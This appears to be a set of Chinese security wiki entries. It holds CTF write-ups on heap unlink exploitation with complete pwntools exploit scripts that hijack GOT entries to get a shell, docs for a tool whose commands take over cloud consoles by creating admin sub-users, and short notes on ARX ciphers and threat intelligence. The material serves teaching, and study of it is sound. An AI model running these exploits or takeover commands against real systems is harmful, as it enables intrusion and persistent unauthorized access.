0x31 /* '1' */ R14 0x0 *R15 0x400de4 ◂— and eax, 0x2e000a64 /* '%d\n' */ *RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2284 *RSP 0x7fffffffd1b8 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax *RIP 0x7ffff7a91130 (malloc) ◂— push rbp ─────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────── ► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd2620> 。。。省略 ► f 0 7ffff7a91130 malloc f 1 7ffff7a7a1d5 _IO_file_doallocate+85 f 2 7ffff7a88594 _IO_doallocbuf+52 f 3 7ffff7a878f8 _IO_file_overflow+456 f 4 7ffff7a8628d _IO_file_xsputn+173 f 5 7ffff7a5ae00 vfprintf+3216 f 6 7ffff7a62899 printf+153 f 7 4009cd f 8 400cb1 f 9 7ffff7a2d830 __libc_start_main+240 ``` 堆布局如下 ``` pwndbg> heap Top Chunk: 0xe05840 Last Remainder: 0 0xe05000 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa3631, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05410 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x411 } 0xe05430 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa4b4f, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05840 PREV_INUSE { prev_size = 0, size = 133057, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ``` 此后,无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了,方便之后操作。 但是,比较有意思的是,如果我们是 attach 上去的话,第一个缓冲区分配的大小为 4096 大小。 ``` pwndbg> heap Top Chunk: 0x1e9b010 Last Remainder: 0 0x1e9a000 PREV_INUSE { prev_size = 0, size = 4113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1e9b010 PREV_INUSE { prev_size = 0, size = 135153, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ``` ### 基本思路 根据上面分析,我们在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。 由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下 - 利用 unlink 修改 global[2] 为 &global[2]-0x18。 - 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为puts@got 地址,global[2] 为 atoi@got 地址。 - 修改 `free@got` 为 `puts@plt` 的地址,从而当再次调用 `free` 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。 - free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。 - 修改 `atoi@got` 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。 代码如下 ```python context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./stkof" stkof = ELF('./stkof') if args['REMOTE']: p = remote('127.0.0.1', 7777) else: p = process("./stkof") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') head = 0x602140 def alloc(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK\n') def edit(idx, size, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(size)) p.send(content) p.recvuntil('OK\n') def free(idx): p.sendline('3') p.sendline(str(idx)) def exp(): # trigger to malloc buffer for io function alloc(0x100) # idx 1 # begin alloc(0x30) # idx 2 # small chunk size in order to trigger unlink alloc(0x80) # idx 3 # a fake chunk at global[2]=head+16 who's size is 0x20 payload = p64(0) #prev_size payload += p64(0x20) #size payload += p64(head + 16 - 0x18) #fd payload += p64(head + 16 - 0x10) #bk payload += p64(0x20) # next chunk's prev_size bypass the check payload = payload.ljust(0x30, 'a') # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at global[2] payload += p64(0x30) # make it believe that prev chunk is free payload += p64(0x90) edit(2, len(payload), payload) # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8 free(3) p.recvuntil('OK\n') # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64( stkof.got['atoi']) edit(2, len(payload), payload) # edit free@got to puts@plt payload = p64(stkof.plt['puts']) edit(0, len(payload), payload) # free global[1] to leak puts addr free(1) puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00') puts_addr = u64(puts_addr) log.success('puts addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] binsh_addr = libc_base + next(libc.search('/bin/sh')) system_addr = libc_base + libc.symbols['system'] log.success('libc base: ' + hex(libc_base)) log.success('/bin/sh addr: ' + hex(binsh_addr)) log.success('system addr: ' + hex(system_addr)) # modify atoi@got to system addr payload = p64(system_addr) edit(2, len(payload), payload) p.send(p64(binsh_addr)) p.interactive() if __name__ == "__main__": exp() ``` ## 2016 ZCTF note2 [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2016_zctf_note2) ### 分析程序 首先,我们先分析一下程序,可以看出程序的主要功能为 - 添加note,size限制为0x80,size会被记录,note指针会被记录。 - 展示note内容。 - 编辑note内容,其中包括覆盖已有的note,在已有的note后面添加内容。 - 释放note。 仔细分析后,可以发现程序有以下几个问题 1. 在添加note时,程序会记录note对应的大小,该大小会用于控制读取note的内容,但是读取的循环变量i是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入size为0时,glibc根据其规定,会分配0x20个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。 2. 程序在每次编辑note时,都会申请0xa0大小的内存,但是在 free 之后并没有设置为NULL。 第一个问题对应在ida中的代码如下 ```c unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3) { char v4; // [sp+Ch] [bp-34h]@1 char buf; // [sp+2Fh] [bp-11h]@2 unsigned __int64 i; // [sp+30h] [bp-10h]@1 __int64 v7; // [sp+38h] [bp-8h]@2 v4 = a3; for ( i = 0LL; a2 - 1 > i; ++i ) { v7 = read(0, &buf, 1uLL); if ( v7 <= 0 ) exit(-1); if ( buf == v4 ) break; *(_BYTE *)(i + a1) = buf; } *(_BYTE *)(a1 + i) = 0; return i; } ``` 其中i是unsigned类型,a2为int类型,所以两者在for循环相比较的时候,a2-1的结果-1会被视为unsigned类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。 ### 基本思路 这里我们主要利用发现的第一个问题,主要利用了 fastbin 的机制、unlink 的机制。 下面依次进行讲解。 #### 基本操作 首先,我们先把note可能的基本操作列举出来。 ```python p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' def newnote(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length)) p.recvuntil('content:') p.sendline(content) def shownote(id): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(id)) def editnote(id, choice, s): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('2.append]') p.sendline(str(choice)) p.sendline(s) def deletenote(id): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:') p.sendline(str(id)) ``` #### 生成三个note 构造三个 chunk,chunk0、chunk1 和 chunk2 ```python # chunk0: a fake chunk ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60) #content = p64(fakefd) + p64(fakebk) newnote(128, content) # chunk1: a zero size chunk produce overwrite newnote(0, 'a' * 8) # chunk2: a chunk to be overwrited and freed newnote(0x80, 'b' * 16) ``` 其中这三个 chunk 申请时的大小分别为0x80,0,0x80,chunk1 虽然申请的大小为0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段(prev\_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该note输入任意长的字符串。 这里需要注意的是,chunk0 中一共构造了两个 chunk - chunk ptr[0],这个是为了 unlink 时修改对应的值。 - chunk ptr[0]'s nextchunk,这个是为了使得 unlink 时的第一个检查满足。 ```c // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ ``` 当构造完三个 note 后,堆的基本构造如图1所示。 ``` +-----------------+ high addr | ... | +-----------------+ | 'b'*8 | ptr[2]-----------> +-----------------+ | size=0x91 | +-----------------+ | prevsize | +-----------------|------------ | unused | +-----------------+ | 'a'*8 | ptr[1]----------> +-----------------+ chunk 1 | size=0x20 | +-----------------+ | prevsize | +-----------------|------------- | unused | +-----------------+ | prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ | 64*'a' | +-----------------+ | fakebk | +-----------------+ | fakefd | +-----------------+ | 0x61 | chunk 0 +-----------------+ | 'a *8 | ptr[0]----------> +-----------------+ | size=0x91 | +-----------------+ | prev_size | +-----------------+ low addr 图1 ``` #### 释放 chunk1-覆盖 chunk2-释放 chunk2 对应的代码如下 ```python # edit the chunk1 to overwrite the chunk2 deletenote(1) content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 deletenote(2) ``` 首先释放 chunk1,由于该chunk属于fastbin,所以下次在申请的时候仍然会申请到该chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖chunk2,覆盖之后如图2所示。 ``` +-----------------+high addr | ... | +-----------------+ | '\x00'+'b'*7 | ptr[2]-----------> +-----------------+ chunk 2 | size=0x90 | +-----------------+ | 0xa0 | +-----------------|------------ | 'a'*8 | +-----------------+ | 'a'*8 | ptr[1]----------> +-----------------+ chunk 1 | size=0x20 | +-----------------+ | prevsize | +-----------------|------------- | unused | +-----------------+ | prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ | 64*'a' | +-----------------+ | fakebk | +-----------------+ | fakefd | +-----------------+ | 0x61 | chunk 0 +-----------------+ | 'a *8 | ptr[0]----------> +-----------------+ | size=0x91 | +-----------------+ | prev_size | +-----------------+ low addr 图2 ``` 该覆盖主要是为了释放chunk2的时候可以后向合并(合并低地址),对chunk0中虚拟构造的chunk进行unlink。即将要执行的操作为unlink(ptr[0]),同时我们所构造的fakebk和fakefd满足如下约束 ```c if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ ``` unlink成功执行,会导致ptr[0]所存储的地址变为fakebk,即ptr-0x18。 #### 获取system地址 代码如下 ```python # overwrite the chunk0(which is ptr[0]) with got atoi atoi_got = note2.got['atoi'] content = 'a' * 0x18 + p64(atoi_got) editnote(0, 1, content) # get the aoti addr shownote(0) sh.recvuntil('is ') atoi_addr = sh.recvuntil('\n', drop=True) print atoi_addr atoi_addr = u64(atoi_addr.ljust(8, '\x00')) print 'leak atoi addr: ' + hex(atoi_addr) # get system addr atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) ``` 我们修改ptr[0]的内容为 ptr 的地址-0x18,所以当我们再次编辑 note0 时,可以覆盖ptr[0]的内容。这里我们将其覆盖为atoi的地址。 这样的话,如果我们查看note 0的内容,其实查看的就是atoi的地址。 之后我们根据 libc 中对应的偏移计算出 system 的地址。 #### 修改atoi got ```python # overwrite the atoi got with systemaddr content = p64(system_addr) editnote(0, 1, content) ``` 由于此时 ptr[0] 的地址 got 表的地址,所以我们可以直接修改该 note,覆盖为 system 地址。 #### get shell ```python # get shell sh.recvuntil('option--->>') sh.sendline('/bin/sh') sh.interactive() ``` 此时如果我们再调用 atoi ,其实调用的就是 system 函数,所以就可以拿到shell了。 ## 2017 insomni'hack wheelofrobots [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2017_insomni'hack_wheelofrobots) ### 基本信息 ```shell ➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots wheelofrobots: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped ➜ 2017_insomni'hack_wheelofrobots git:(master) checksec wheelofrobots [*] "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2017_insomni'hack_wheelofrobots/wheelofrobots" Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` 动态链接64位,主要开启了 canary 保护与 nx 保护。 ### 基本功能 大概分析程序,可以得知,这是一个配置机器人轮子的游戏,机器人一共需要添加 3 个轮子。 程序非常依赖的一个功能是读取整数,该函数read_num是读取指定的长度,将其转化为 int 类型的数字。 具体功能如下 - 添加轮子,一共有 6 个轮子可以选择。选择轮子时使用函数是read_num,然而该函数在读取的时候`read_num((char *)&choice, 5uLL);` 读取的长度是 5 个字节,恰好覆盖了 bender_inuse 的最低字节,即构成了 off-by-one 漏洞。与此同时,在添加 Destructor 轮子的时候,并没有进行大小检测。如果读取的数为负数,那么在申请`calloc(1uLL, 20 * v5);` 时就可能导致 `20*v5` 溢出,但与此同时, `destructor_size = v5` 仍然会很大。 - 移除轮子,直接将相应轮子移除,但是并没有将其对应的指针设置为 NULL ,其对应的大小也没有清空。 - 修改轮子名字,这个是根据当时申请的轮子的大小空间来读取数据。之前我们已经说过 destructor 轮子读取大小时,并没有检测负数的情况,所以在进行如下操作时 `result = read(0, destructor, 20 * destructor_size);` ,存在几乎任意长度溢出的漏洞。 - 启动机器人,在启动的时候会随机地输出一些轮子的名称,这个是我们难以控制的。 综上分析,我们可以知道的是,该程序主要存在的漏洞 off-by-one 与整数溢出。这里我们主要使用前面的off-by-one 漏洞。 ### 利用思路 基本利用思路如下 1. 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138,进而可以控制 `destructor_size `的大小,从而实现任意长度堆溢出。这里我们将轮子1 tinny 分配到这里。 2. 分别分配合适大小的物理相邻的 chunk,其中包括 destructor。借助上面可以任意长度堆溢出的漏洞,对 destructor 对应的 chunk 进行溢出,将其溢出到下一个物理相邻的 chunk,从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果,这时 bss 段的 destructor 指向 0x6030D0。从而,我们可以再次实现覆盖bss 段几乎所有的内容。 3. 构造一个任意地址写的漏洞。通过上述的漏洞将已经分配的轮子1 tinny 指针覆盖为 destructor 的地址,那么此后编辑 tinny 即在编辑 destructor 的内容,进而当我们再次编辑 destructor 时就相当于任意低地址写。 4. 由于程序只是在最后启动机器人的时候,才会随机输出一些轮子的内容,并且一旦输出,程序就会退出,由于这部分我们并不能控制,所以我们将 `exit()` patch 为一个 `ret` 地址。这样的话,我们就可以多次输出内容了,从而可以泄漏一些 got 表地址。**其实,既然我们有了任意地址写的漏洞,我们也可以将某个 got 写为 puts 的 plt 地址,进而调用相应函数时便可以直接将相应内容输出。但是这里并不去采用这种方法,因为之前已经在 hitcon stkof 中用过这种手法了。** 5. 在泄漏了相应的内容后,我们便可以得到 libc 基地址,system 地址,libc中的 /bin/sh 地址。进而我们修改 free@got 为 system 地址。从而当再次释放某块内存时,便可以启动shell。 代码如下 ```python from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./wheelofrobots" robots = ELF('./wheelofrobots') if args['REMOTE']: p = remote('127.0.0.1', 7777) else: p = process("./wheelofrobots") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset def add(idx, size=0): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Your choice :') p.sendline(str(idx)) if idx == 2: p.recvuntil("Increase Bender's intelligence: ") p.sendline(str(size)) elif idx == 3: p.recvuntil("Increase Robot Devil's cruelty: ") p.sendline(str(size)) elif idx == 6: p.recvuntil("Increase Destructor's powerful: ") p.sendline(str(size)) def remove(idx): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Your choice :') p.sendline(str(idx)) def change(idx, name): p.recvuntil('Your choice :') p.sendline('3') p.recvuntil('Your choice :') p.sendline(str(idx)) p.recvuntil("Robot's name: \n") p.send(name) def start_robot(): p.recvuntil('Your choice :') p.sendline('4') def overflow_benderinuse(inuse): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Your choice :') p.send('9999' + inuse) def write(where, what): change(1, p64(where)) change(6, p64(what)) def exp(): print "step 1" # add a fastbin chunk 0x20 and free it # so it is in fastbin, idx2->NULL add(2, 1) # idx2 remove(2) # overflow bender inuse with 1 overflow_benderinuse('\x01') # change bender's fd to 0x603138, point to bender's size # now fastbin 0x20, idx2->0x603138->NULL change(2, p64(0x603138)) # in order add bender again overflow_benderinuse('\x00') # add bender again, fastbin 0x603138->NULL add(2, 1) # in order to malloc chunk at 0x603138 # we need to bypass the fastbin size check, i.e. set *0x603140=0x20 # it is at Robot Devil add(3, 0x20) # trigger malloc, set tinny point to 0x603148 add(1) # wheels must <= 3 remove(2) remove(3) print 'step 2' # alloc Destructor size 60->0x50, chunk content 0x40 add(6, 3) # alloc devil, size=20*7=140, bigger than fastbin add(3, 7) # edit destructor's size to 1000 by tinny change(1, p64(1000)) # place fake chunk at destructor's pointer fakechunk_addr = 0x6030E8 fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64( fakechunk_addr - 0x10) + p64(0x20) fakechunk = fakechunk.ljust(0x40, 'a') fakechunk += p64(0x40) + p64(0xa0) change(6, fakechunk) # trigger unlink remove(3) print 'step 3' # make 0x6030F8 point to 0x6030E8 payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8) change(6, payload) print 'step 4' # make exit just as return write(robots.got['exit'], 0x401954) print 'step 5' # set wheel cnt =3, 0x603130 in order to start robot write(0x603130, 3) # set destructor point to puts@got change(1, p64(robots.got['puts'])) start_robot() p.recvuntil('New hands great!! Thx ') puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00') puts_addr = u64(puts_addr) log.success('puts addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] log.success('libc base: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # make free->system write(robots.got['free'], system_addr) # make destructor point to /bin/sh addr write(0x6030E8, binsh_addr) # get shell remove(6) p.interactive() if __name__ == "__main__": exp() ``` ### 题目 - [DEFCON 2017 Qualifiers beatmeonthedl](https://github.com/Owlz/CTF/raw/master/2017/DEFCON/beatmeonthedl/beatmeonthedl) ### 参考 - malloc@angelboy - https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a ## note3 [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/ZCTF_2016_note3) ### 介绍 ZCTF 2016的一道题目,考点是safe unlink的利用。 ### 题目介绍 题目是一个notepad,提供了创建、删除、编辑、查看笔记的功能 ``` 1.New note 2.Show note 3.Edit note 4.Delete note 5.Quit option--->> ``` 保护如下所示 ``` Canary : Yes NX : Yes PIE : No Fortify : No RelRO : Partial ``` ### 功能概述 程序New功能用来新建笔记,笔记的大小可以自定只要小于1024字节。 ``` int new() { puts("Input the length of the note content:(less than 1024)"); size = get_num(); if ( size < 0 ) return puts("Length error"); if ( size > 1024 ) return puts("Content is too long"); heap_ptr = malloc(size); puts("Input the note content:"); my_read(heap_ptr, size, '\n'); bss_ptr[i] = heap_ptr; current_ptr[i + 8LL] = size; current_ptr[0] = bss_ptr[i]; return printf("note add success, the id is %d\n", i); } ``` 所有的笔记malloc出来的指针存放在bss上全局数组bss_ptr中,这个数组最多可以存放8个heap_ptr。 而且heap_ptr对应的size也被放在bss_ptr数组中。current_ptr表示当前笔记,bss布局如下。 ``` .bss: current_ptr note0_ptr note1_ptr note2_ptr note3_ptr note4_ptr note5_ptr note6_ptr note7_ptr note0_size note1_size note2_size note3_size note4_size note5_size note6_size note7_size ``` Show功能是无用的功能,edit和delete可以编辑和释放note。 ### 漏洞 漏洞存在于edit功能中,这里面在获取用户输入的id号之后并没有进行验证。如果输入的id是负数的话依然可以执行。 在get_num函数中存在整数溢出漏洞,我们可以获得一个负数。 ``` int edit() { id = get_num(); data_ptr = ptr[id]; if ( data_ptr ) { puts("Input the new content:"); my_read(ptr[id], current_ptr[id + 8], '\n'); current_ptr[0] = ptr[id]; data_ptr = puts("Edit success"); } } ``` 因此我们可以使得edit读入cuurent_ptr,使用的size是note7_ptr ``` .bss: current_ptr <== edit ptr note0_ptr note1_ptr note2_ptr note3_ptr note4_ptr note5_ptr note6_ptr note7_ptr <== size note0_size note1_size note2_size note3_size note4_size note5_size note6_size note7_size ``` 首先创建8个note,然后edit note3使current_ptr指向note3,之后使用-1溢出note3 ``` new(512,'a') new(512,'a') new(512,'a') new(512,'a') new(512,'a') new(512,'a') new(512,'a') new(512,'a') edit(3,'a') edit(-9223372036854775808,data); ``` 我们使用的溢出数据是用于构造一个fake chunk来实现safe unlink的利用,具体的原理可以看这一章节的讲解。 ``` data = '' data += p64(0) + p64(512+1) #fake chunk header data += p64(0x6020e0-0x18) + p64(0x6020e0-0x10) #fake fd and bk data += 'A'*(512-32) data += p64(512) + p64(512+16) ``` 之后释放note4,note3与note4就会合并。note3_ptr会指向note0_ptr的位置。这样我们通过不断的修改note0_ptr的值和edit note0就可以实现任意地址写数据。 但是题目没有提供show功能,所以无法进行任意地址读,也就无法泄漏数据。 这里采用的办法是把free的got表改为printf的值,然后在bbs中一块空白的区域写入"%x"。 这样当free这块区域(这块区域在ptr_array中,所以可以直接传递给free),就可以泄漏出栈中的数据。 通过栈中的libc地址求出system的地址就可以利用任意地址写获得shell ``` free(4) edit(3,free_got) edit(0,printf_plt) edit(3,p64(0x6020e8)) edit(0,'%llx.'*30) ``` 完成的exp如下 ``` #!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * import time def malloc(size,data): print conn.recvuntil('>>') conn.sendline('1') print conn.recvuntil('1024)') conn.sendline(str(size)) print conn.recvuntil('content:') conn.sendline(data) print conn.recvuntil('\n') def edit(id,data): print conn.recvuntil('>>') conn.sendline('3') print conn.recvuntil('note:') conn.sendline(str(id)) print conn.recvuntil('ent:') conn.sendline(data) print conn.recvuntil('success') def free(id): print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(id)) print conn.recvuntil('success') conn = remote('115.28.27.103',9003) free_got = p64(0x602018) puts_got = p64(0x602020) stack_got = p64(0x602038) printf_got = p64(0x602030) exit_got = p64(0x602078) printf_plt = p64(0x400750) puts_plt = p64(0x400730) #libcstartmain_ret_off = 0x21b45 #sys_off = 0x414f0 libcstartmain_ret_off = 0x21ec5 sys_off = 0x46640 # 1. int overflow lead to double free intoverflow = -9223372036854775808 malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,p64(0x400ef8)) malloc(512,'/bin/sh\0') # 2. make a fake chunk and modify the next chunk's pre size fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16) edit(3,'aaaaaa') edit(intoverflow,fakechunk) # 3. double free free(4) # 4. overwrite got edit(3,free_got) edit(0,printf_plt+printf_plt) # 5. leak the stack data edit(3,p64(0x6020e8)) edit(0,'%llx.'*30) # free->puts print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(0)) ret = conn.recvuntil('success') print ret # 6. calcuate the system's addr libcstart = ret.split('.')[10] libcstart_2 = int(libcstart,16) - libcstartmain_ret_off print 'libc start addr:',hex(libcstart_2) system_addr = libcstart_2 + sys_off print 'system_addr:',hex(system_addr) # 7. overwrite free's got edit(3,free_got) edit(0,p64(system_addr)+printf_plt) # 8. write argv edit(3,p64(0x6020d0)) edit(0,'/bin/sh\0') # 9. exploit print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(0)) sleep(0.2) conn.interactive() ```
sec-knowleage
--- title: 一键接管控制台 --- ## 在阿里云上一键接管控制台 使用以下命令接管控制台 ```bash cf alibaba console ``` 接管控制台的时候默认会创建一个名称为 crossfire 的用户,如果想改成其他用户名可以使用 `-u` 参数 ```bash cf alibaba console -u teamssix ``` > 接管控制台需要当前访问凭证至少拥有 `AliyunRAMFullAccess` 权限。 打开浏览器,访问控制台登录地址,输入用户名 <img width="900" src="/img/1657286463.png"> 输入密码,点击登录 <img width="900" src="/img/1657286535.png"> 此时就可以看到我们接管下来的控制台了 <img width="900" src="/img/1657286643.png"> 查看当前 crossfire 用户所拥有的权限,可以看到是 `AdministratorAccess` 即管理所有阿里云资源的权限 <img width="900" src="/img/1657286780.png"> 由于接管控制台的原理是创建一个具有管理员权限的子用户,因此当不想接管、想删除这个子用户的时候,可以使用取消接管控制台的命令。 ### 取消接管控制台 ```bash cf alibaba console cancel ``` ### 查看接管控制台的信息 ```bash cf alibaba console ls ``` ### 接管控制台时创建 AK 在接管阿里云平台时,如果加上 -a 参数,CF 除了会自动创建用于登录控制台的子账号外,还会自动创建这个子账号的访问凭证。 ```bash cf alibaba console -a ``` ## 在腾讯云上一键接管控制台 ```bash cf tencent console ``` 接管控制台的时候默认会创建一个名称为 crossfire 的用户,如果想改成其他用户名可以使用 `-u` 参数 ```bash cf tencent console -u teamssix ``` ### 取消接管控制台 ```bash cf tencent console cancel ``` ### 查看接管控制台的信息 ```bash cf tencent console ls ``` ## 在华为云上一键接管控制台 ```bash cf huawei console ``` 接管控制台的时候默认会创建一个名称为 crossfire 的用户,如果想改成其他用户名可以使用 `-u` 参数 ```bash cf huawei console -u teamssix ``` ### 取消接管控制台 ```bash cf huawei console cancel ``` ### 查看接管控制台的信息 ```bash cf huawei console ls ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
### ARX: Add-Rotate-Xor概述 ARX 运算是如下 3 种基本运算的统称 - Add 有限域上的模加 - Rotate 循环移位 - Xor 异或 有许多常见的块加密算法在轮函数中只用到了这 3 种基本运算,典型例子如 Salsa20、Speck 等。另外 [IDEA](./idea.md) 也采用了类似的基本运算来构建加解密操作,不过以乘法代替了移位。 ### ARX: Add-Rotate-Xor优缺点 #### 优点 - 操作简单,运算速度快 - 执行时间为常数,可以避免基于时间的测信道攻击 - 组合后的函数表达能力足够强(参见下方例题) #### 缺点 - 在三种基本运算当中,Rotate、Xor 对于单个 bit 来说均是完全线性的运算,可能会带来一定的脆弱性(参见[Rotational cryptanalysis](https://en.wikipedia.org/wiki/Rotational_cryptanalysis))
sec-knowleage
--- title: 安全威胁情报简述 tags: [安全综合, 情报, 威胁情报] --- # 安全威胁情报简述 该篇文章内容主要来自[漏洞银行](https://www.bugbank.cn/)的公开课,主讲人是g3on。此篇主要为学习笔记,后续补充了一些内容,如有侵权请告知。 ## 安全威胁情报简述 ### 什么是安全情报? #### 从情报的类型上来看 可以分为:资产情报、事件情报、漏洞情报和威胁情报。 注意,我们常说的威胁情报,并不完全等同于安全情报。 四大类信息[2] - 资产情报:主要用于确认企业自身的资产 - e.g. 企业自身的数据SOC、SIEM数据日志、告警等。 - 资产情报如何搜集? - 主要来自于企业的SOC( Security Operation Center), SIEM(Security Information and Event Management)数据 - 网络日志等 - 告警信息 - 事件情报:对于已经发生的安全事件的报道 - 漏洞情报:软硬件各种已知或未知的漏洞的情报 e.g. cve, nday - 威胁情报: 从信息源的透明程度看,可以分为:OSINT(Open source intelligence ,公开资源情报)、 未公开数据(黑产群、社区等)。 #### 从使用场景进行分类 从情报被应用的不同程度上来看,可以分为以下的几个角度[来自腾讯安平密友圈]: > - 战略情报:引导业务,安全规划,引导我们做正确的事 > > - 战术情报:用于赋能,比如增加安全设备检测能力,阻拦能力,响应能力等,用于解决正确的做事 > > - 运营情报:用于作战,通常关注基础情报,对象,事件 > > 具体怎么使用还得看真实场景和团队配备 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200624052928.png" style="zoom:50%;" /> Fig. 威胁情报分类图[6] ### 什么是攻击源画像? 画像:根据用户社会属性、生活习惯和消费行为等信息而抽象出的一个**标签化**的用户模型。 攻击源画像:描述攻击源的基础设施、技术风格、惯用手法等标识。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200211091125.png) ### 什么是安全威胁情报? #### SANS的定义 针对安全威胁、威胁者、利用、恶意软件、漏洞和危害指标、所收集的用于评估的应用**数据集**。 #### iSight的定义 iSight:网络威胁情报是关于已收集、分析、分发的,**针对攻击者和其动机**的目的手段,用于帮助所有安全级别的,和业务员工的,用于**保护企业核心资产**的知识。 #### Gartner的定义 威胁情报是一种基于证据的知识,包括了情境、机制、指标、隐含和实际可行的建议。威胁情报描述了现存的、或者是即将出现针对资产的威胁或危险,并可以用于通知主体针对相关威胁或危险采取某种响应。[7] #### 自己的理解 情报是信息的一种高纬度形式,威胁是类型,因此威胁情报其实就是**针对主体的**、关于**威胁**的**高纬度**信息。 ### 